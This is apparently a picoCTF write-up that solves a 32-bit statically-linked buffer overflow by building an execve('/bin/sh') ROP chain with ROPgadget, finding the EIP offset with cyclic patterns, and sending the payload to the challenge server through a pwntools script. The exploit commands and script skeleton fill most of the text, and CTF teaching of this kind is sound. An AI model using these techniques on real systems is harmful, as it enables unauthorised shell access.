Description
No win() function this time. The binary is a small, statically-linked 32-bit ELF with a 16-byte buffer you can overflow. Because there is no helper function that prints the flag, you build a Return-Oriented Programming (ROP) chain from gadgets already present in the binary to call execve("/bin/sh", NULL, NULL) and spawn a shell.
ROP chains work by chaining small code snippets ('gadgets') ending in ret, each setting up registers, ultimately executing a syscall. Because the binary is statically linked, every libc gadget you need is already inside it, so ROPgadget can assemble the whole execve chain automatically.
Setup
Download the binary. Confirm it is a statically-linked 32-bit ELF and check mitigations with checksec.
Install ROPgadget: pip install ropgadget.
Let ROPgadget build the execve chain, then prepend the overflow padding.
wget https://artifacts.picoctf.net/c/327/vuln && chmod +x vulnfile vuln # ELF 32-bit LSB executable, statically linkedchecksec --file=vulnROPgadget --binary vuln --ropchainSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
For the underlying mechanics of stitching gadgets together when there's no libc to lean on, see the ROP Chain Without libc guide. For pwntools idioms used in the script below (ELF, p32, remote), see Pwntools for CTF.
Step 1Let ROPgadget build the execve chain
ObservationThe binary is statically linked with NX on and no win() helper, so shellcode injection is out. But every libc gadget is baked into the ELF at a fixed address, which means ROPgadget's --ropchain flag can assemble a complete execve chain with no info leak at all.Because vuln is statically linked, ROPgadget can find a writable data address for the "/bin/sh" string plus all the pop/mov gadgets to set up the registers, and it will print a complete chain for you. Run it with --ropchain and it builds an execve("/bin/sh", NULL, NULL) chain automatically.bashROPgadget --binary vuln --ropchainbash# Inspect what it built: it loads a writable address, writes '/bin/sh' there,bash# zeroes ecx/edx, puts 11 (sys_execve) in eax, then int 0x80.bashROPgadget --binary vuln | grep -E 'int 0x80|pop eax|pop ebx|pop ecx|pop edx'The generated chain ends in the 32-bit Linux
execvesyscall: the kernel readseax = 11(sys_execve),ebxpointing at the string"/bin/sh", andecx = edx = 0, then runsint 0x80. ROPgadget plants the/bin/shstring into a writable section itself, so no info-leak is required.What didn't work first
Tried: Running ROPgadget without --ropchain and manually assembling a gadget list for execve.
Without --ropchain, ROPgadget lists gadgets and solves nothing: you still have to find a writable address, write /bin/sh byte by byte through mov gadgets, zero two registers, set eax to 11, and align it all. The flag automates that and emits working Python.
Tried: Using the same ROPgadget --ropchain output against a dynamically-linked binary.
On a dynamically linked binary, libc gadgets sit at ASLR-randomized runtime addresses, so the static ones ROPgadget finds are wrong on every run. This binary is statically linked, with every gadget at a fixed address inside the ELF, which is exactly why the chain works with no leak.
Learn more
A ROP gadget is a short sequence of instructions ending with a
ret(return). By overwriting the stack with a sequence of gadget addresses (each followed by its arguments), you chain the gadgets:retpops the next address off the stack into EIP, executing the next gadget.For a 32-bit Linux
execve("/bin/sh", NULL, NULL)viaint 0x80you need:eax = 11(syscall number for execve)ebx= pointer to the string"/bin/sh"ecx = 0(argv = NULL)edx = 0(envp = NULL)int 0x80to trigger the syscall
NX (No-eXecute) prevents injecting and running shellcode, but it cannot stop ROP because ROP reuses existing executable code. A statically-linked binary is the easiest possible ROP target: every libc gadget is already mapped, so ROPgadget's
--ropchaincan fully automate the build.Step 2Derive the overflow offset to EIP
ObservationThe buffer is 16 bytes, but the saved return address sits beyond it, past the saved EBP on 32-bit, so the offset has to be measured rather than guessed. Send a De Bruijn cyclic pattern and read the crashed EIP for the exact distance.Find how far past the buffer your input reaches the saved return address. Send a cyclic pattern, crash the binary, and feed the faulting EIP back into cyclic_find. The offset is small (the buffer is 16 bytes plus saved EBP), so expect a value in the high-20s; verify it on your copy rather than assuming.bashcyclic 64 > /tmp/patpythonpython3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(64)); p.wait()"bash# read the crashed EIP from the core dump or gdb, then:pythonpython3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))" # prints OFFSETSend a cyclic pattern so you do not have to guess. The bytes that land in
EIPidentify a unique slice of the De Bruijn sequence, andcyclic_findreturns the exact distance:$ python3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(64)); p.wait()" $ gdb -q ./vuln core ... eip 0x6161616c ... $ python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))" <OFFSET>Use that
<OFFSET>as the padding length before the ROP chain.What didn't work first
Tried: Guessing the offset as exactly 16 (the buffer size) and skipping the cyclic pattern step.
The offset is the buffer size plus the saved EBP, 4 bytes on 32-bit, plus whatever alignment padding the compiler added, so it exceeds 16. Guess 16 and you overwrite EBP while leaving the return address intact, giving a clean crash rather than control of EIP. The cyclic pattern removes the guessing.
Tried: Using gdb's 'info registers' on a non-crashing run instead of sending a pattern and inspecting the core dump.
Without input that overflows the buffer, the return address is never corrupted and EIP shows the ordinary return target. Send the cyclic payload, let the binary crash, then read the core dump, or run it under gdb with the pattern on stdin, to see what value landed in EIP at the fault.
Learn more
The vulnerable read is an unbounded
gets()-style call into a 16-byte buffer. The padding to reach the saved return address is the buffer size plus the saved frame pointer (and any alignment), which is why the offset is a little larger than 16.cyclic / cyclic_find generates a De Bruijn sequence so every 4-byte window appears exactly once. That makes the crash self-identifying: the value sitting in EIP maps to one and only one offset.
Step 3Prepend the padding and fire the chain
ObservationROPgadget has already emitted a complete Python execve chain as packed 32-bit values, and cyclic_find has given the exact offset to the saved return address. All that remains is prepending that many filler bytes and sending the payload.Paste the chain ROPgadget generated (it defines aphelper and builds it into a variable), prepend OFFSET bytes of padding, and send it. The execve chain spawns /bin/sh; then read the flag with ls and cat.pythonpython3 -c " from pwn import * OFFSET = <OFFSET> # from cyclic_find above # --- paste the chain ROPgadget --ropchain printed here --- # It builds a byte string of p32(...) gadget addresses that ends in execve('/bin/sh'). rop_chain = b'' # <-- replace with ROPgadget's generated chain bytes payload = b'A' * OFFSET + rop_chain p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>) p.sendline(payload) p.interactive() # then: ls ; cat flag.txt "Expected output
picoCTF{ROP_1t_d0nt_st0p_...}What didn't work first
Tried: Pasting the ROPgadget chain bytes directly without prepending the OFFSET padding bytes.
Without the padding, the payload starts overwriting from the buffer's first byte, so the chain addresses land inside the buffer rather than on the saved return address. The binary returns to its original target and the chain never runs. The padding bridges from the start of the buffer to exactly where the saved return address sits.
Tried: Using p.sendline(payload) against localhost with process('./vuln') to test before targeting the remote, but seeing the shell close immediately.
Running locally through pwntools, the spawned shell keeps its stdin on the pwntools pipe. Once sendline finishes, the pipe reaches end-of-file and the shell exits. Switch to interactive mode before sending, so the pipe stays open and you can type commands yourself.
Learn more
Because the chain calls
execve("/bin/sh", NULL, NULL), you drop into an interactive shell instead of printing a single buffer. From therelsandcat flag.txtread the flag directly off the server (often as root on these picoCTF instances).If you prefer building the chain by hand, pwntools can do it too:
rop = ROP(elf); rop.execve(b'/bin/sh', 0, 0)thenrop.chain(). For a statically-linked binary both approaches work;--ropchainis just the fastest path because it also handles writing the/bin/shstring into memory.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{ROP_1t_d0nt_st0p_...}
Statically-linked 32-bit binary, no win(). Build a ROP chain for execve("/bin/sh", NULL, NULL) via int 0x80 (eax=11, ebx -> "/bin/sh", ecx=edx=0). ROPgadget --ropchain assembles it automatically; prepend the overflow padding and spawn a shell to read the flag.